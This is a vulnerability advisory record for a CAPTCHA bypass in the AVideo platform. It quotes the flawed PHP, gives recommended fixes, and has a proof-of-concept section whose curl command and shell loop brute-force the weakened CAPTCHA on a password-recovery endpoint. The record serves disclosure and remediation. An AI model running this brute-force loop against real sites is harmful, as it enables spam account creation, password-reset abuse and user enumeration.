{"id":"CVE-2026-40935","aliases":["GHSA-hg7g-56h5-5pqr"],"url":"https://o3.security/vulnerability/CVE-2026-40935","summary":"WWBN/AVideo has CAPTCHA Bypass via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure","details":"## Summary\n\n`objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.\n\n## Details\n\nThree cooperating flaws in `objects/getCaptcha.php` and `objects/captcha.php` reduce CAPTCHA protection to a deterministic bypass.\n\n### 1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`)\n\n```php\n$largura        = empty($_GET['l'])  ? 120 : $_GET['l'];\n$altura         = empty($_GET['a'])  ? 40  : $_GET['a'];\n$tamanho_fonte  = empty($_GET['tf']) ? 18  : $_GET['tf'];\n$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled\n\n$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);\n$capcha->getCaptchaImage();\n```\n\nThere is no minimum, no type-check, and no clamping. Requesting `/objects/getCaptcha.php?ql=1` causes the server to generate a single-character word and save it to the attacker's own PHP session.\n\n### 2. Small alphabet stored in the session (`objects/captcha.php:33-39`)\n\n```php\n$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';\n$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));\nif (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {\n    $palavra = \"admin\";\n}\n_session_start();\n$_SESSION[\"palavra\"] = $palavra;\n```\n\nAfter case-folding the alphabet is 25 letters (A–Z minus `O`) plus digits `2-9`, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.\n\n### 3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`)\n\n```php\npublic static function validation($word)\n{\n    if (User::isAdmin() && $_SESSION[\"palavra\"] === 'admin') {\n        return true;\n    }\n    _session_start();\n    if (empty($_SESSION[\"palavra\"])) {\n        _error_log(\"Captcha validation Error: you type ({$word}) and session is empty ...\");\n        return false;\n    }\n    $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n    if (!$validation) {\n        _error_log(\"Captcha validation Error: you type ({$word}) and session is ({$_SESSION[\"palavra\"]}) ...\");\n    } else {\n        unset($_SESSION[\"palavra\"]); // Consume the captcha token to prevent reuse\n    }\n    return $validation;\n}\n```\n\nTwo problems here:\n\n* `strcasecmp` is case-insensitive, collapsing the alphabet to ~33 distinct values.\n* `unset($_SESSION[\"palavra\"])` only runs in the **success** branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.\n\n### Reachability\n\n`Captcha::validation()` is invoked from unauthenticated entry points including:\n\n* `objects/userCreate.json.php:38` — user registration (`Captcha::validation($_POST['captcha'])`)\n* `objects/userRecoverPass.php:31` — password recovery\n* `objects/sendEmail.json.php:10` — public contact email\n* `plugin/API/API.php:4243` and `:5684` — public API endpoints\n* `plugin/CustomizeUser/donate.json.php:62`, `confirmDeleteUser.json.php:15`\n* `plugin/YPTWallet/view/transferFunds.json.php:25`\n\nNone of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.\n\n## PoC\n\nAttacker flow against an unauthenticated signup/recovery endpoint:\n\nStep 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:\n\n```\ncurl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null\n```\n\nStep 2 — Brute-force the single-character answer. Because failed attempts do NOT reset `$_SESSION[\"palavra\"]`, the same cookie jar is reused and the same stored value is checked against each guess:\n\n```\nfor c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do\n  code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \\\n    'https://target/objects/userRecoverPass.php' \\\n    --data-urlencode 'user=victim' \\\n    --data-urlencode 'recoverpass=1' \\\n    --data-urlencode \"captcha=$c\")\n  if ! grep -q 'Your code is not valid' /tmp/r; then\n    echo \"HIT with captcha=$c\"; break\n  fi\ndone\n```\n\n* Worst case: 33 POSTs per session to pass the CAPTCHA once.\n* With `ql=2` the keyspace is ~1089 — still trivial and more robust against any edge cases involving `empty()` on a single-digit word.\n* The same technique works against `userCreate.json.php`, `sendEmail.json.php`, and every other `Captcha::validation()` caller.\n\nObserved behavior on the local instance: each wrong guess returns `\"Your code is not valid\"` without rotating `$_SESSION[\"palavra\"]`; the logged `session is (<char>)` message in `_error_log` stays the same across all failed attempts in a session, confirming the token is not rotated.\n\n## Impact\n\nCAPTCHA is the only \"are you human\" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables:\n\n* **Automated account creation / spam signups** via `userCreate.json.php`.\n* **User enumeration / password-reset spamming** via `userRecoverPass.php`.\n* **Unsolicited email abuse** via `sendEmail.json.php`.\n* **Comment / donation / wallet abuse** on plugin endpoints that rely on `Captcha::validation`.\n\nIt does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.\n\n## Recommended Fix\n\nThree coordinated changes in `objects/getCaptcha.php` and `objects/captcha.php`:\n\n1. Clamp `ql` (and ideally the other image params) to a safe server-side range:\n\n   ```php\n   // objects/getCaptcha.php\n   $quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5;\n   $quantidade_letras = max(5, min(8, $quantidade_letras));\n   ```\n\n2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh `getCaptcha.php` round-trip:\n\n   ```php\n   // objects/captcha.php::validation()\n   _session_start();\n   if (empty($_SESSION[\"palavra\"])) {\n       return false;\n   }\n   $stored = $_SESSION[\"palavra\"];\n   unset($_SESSION[\"palavra\"]); // always consume, regardless of outcome\n   if (User::isAdmin() && $stored === 'admin') {\n       return true;\n   }\n   return strcasecmp($word, $stored) === 0;\n   ```\n\n3. Use a CSPRNG for word generation instead of `str_shuffle`, e.g.:\n\n   ```php\n   $palavra = '';\n   $len = strlen($letters);\n   for ($i = 0; $i < $this->quantidade_letras; $i++) {\n       $palavra .= $letters[random_int(0, $len - 1)];\n   }\n   ```\n\nOptionally also add an application-level rate limit (per IP / per session) on all endpoints that call `Captcha::validation()` as defense in depth.","published":"2026-04-21T22:21:17.009Z","modified":"2026-08-12T03:51:28.856708196Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453","label":"WWBN/AVideo@bf1c769"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40935.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-hg7g-56h5-5pqr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40935"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/bf1c76989e6a9054be4f0eb009d68f0f2464b453"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.856708196Z"}}